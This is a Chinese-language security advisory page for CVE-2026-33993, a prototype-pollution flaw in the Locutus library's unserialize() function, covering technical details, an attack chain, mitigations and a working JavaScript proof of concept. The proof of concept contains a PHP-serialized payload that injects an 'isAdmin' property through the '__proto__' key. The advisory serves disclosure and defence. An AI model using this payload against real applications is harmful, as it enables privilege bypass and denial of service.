IPBUF安全漏洞报告
English
CVE-2026-33993 CVSS 9.8 严重

CVE-2026-33993 Locutus原型污染漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33993
漏洞类型
原型污染
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Locutus

相关标签

原型污染Locutus反序列化RCEDoSCVE-2026-33993JavaScript

漏洞概述

Locutus是一个将其他编程语言标准库引入JavaScript的项目。在3.0.25版本之前,其`unserialize()`函数存在严重安全缺陷。该函数在处理反序列化数据时,未对`__proto__`键进行过滤,直接将其分配给普通对象。攻击者可利用特制的PHP序列化payload触发JavaScript的原型污染,导致属性注入、属性传播或通过覆盖内置方法引发拒绝服务。此漏洞不同于此前`parse_str`中的问题,需立即升级修复。

技术细节

该漏洞源于`locutus/php/var/unserialize`模块中不安全的反序列化实现。当函数处理包含`__proto__`作为数组或对象键的PHP序列化字符串时,使用了括号表示法将键值对分配给对象。在JavaScript中,`__proto__`是对象原型的特殊setter,直接赋值会改变对象的原型链。攻击者构造恶意payload(如包含`__proto__`键的对象),当`unserialize()`解析时,会将攻击者控制的属性注入到`Object.prototype`中。由于JavaScript的原型继承机制,这将导致所有对象都继承这些被污染的属性。攻击者可利用这一点篡改应用逻辑(如权限绕过)或覆盖`toString`等内置方法导致应用崩溃。该漏洞利用无需认证且无需用户交互,通过网络即可触发,危害性极高。

攻击链分析

STEP 1
侦察
攻击者识别目标应用是否使用了受影响版本的Locutus库(< 3.0.25),并找到调用`unserialize()`函数的接口。
STEP 2
构造载荷
攻击者构造包含`__proto__`键的恶意PHP序列化字符串,其中包含攻击者希望注入的属性(如污染标志或恶意方法)。
STEP 3
发送请求
攻击者通过网络向目标应用发送包含恶意payload的请求,无需用户交互或认证。
STEP 4
触发漏洞
目标应用的`unserialize()`函数解析payload,由于未过滤`__proto__`,导致JavaScript对象原型被修改。
STEP 5
达成影响
原型污染生效,攻击者可利用注入的属性绕过安全检查、篡改数据逻辑,或通过覆盖内置方法导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-33993 // Demonstrating prototype pollution via unserialize() const { unserialize } = require('locutus/php/var'); // Malicious PHP serialized payload // Structure: array with 1 element, key "__proto__", value is object { "isAdmin": true } // PHP serialized string: a:1:{s:8:"__proto__";a:1:{s:7:"isAdmin";b:1;}} const payload = 'a:1:{s:8:"__proto__";a:1:{s:7:"isAdmin";b:1;}}'; console.log('[*] Testing for CVE-2026-33993 in Locutus'); console.log('[+] Before unserialize:'); console.log(' emptyObject.isAdmin:', ({}).isAdmin); // Expected: undefined try { // Trigger the vulnerability unserialize(payload); console.log('[+] After unserialize:'); console.log(' emptyObject.isAdmin:', ({}).isAdmin); // Expected: true (if vulnerable) if (({}).isAdmin === true) { console.log('[!] SUCCESS: Prototype pollution detected!'); } else { console.log('[!] FAILED: Target appears patched.'); } } catch (e) { console.error('[!] Error executing PoC:', e.message); }

影响范围

Locutus < 3.0.25

防御指南

临时缓解措施
如果无法立即升级版本,建议在调用`unserialize`函数之前,对输入的序列化字符串进行严格的正则匹配或过滤,检测并拦截包含`__proto__`、`constructor`或`prototype`等危险关键词的数据。此外,可以在应用沙箱环境中运行该库,限制其对全局Object原型的访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表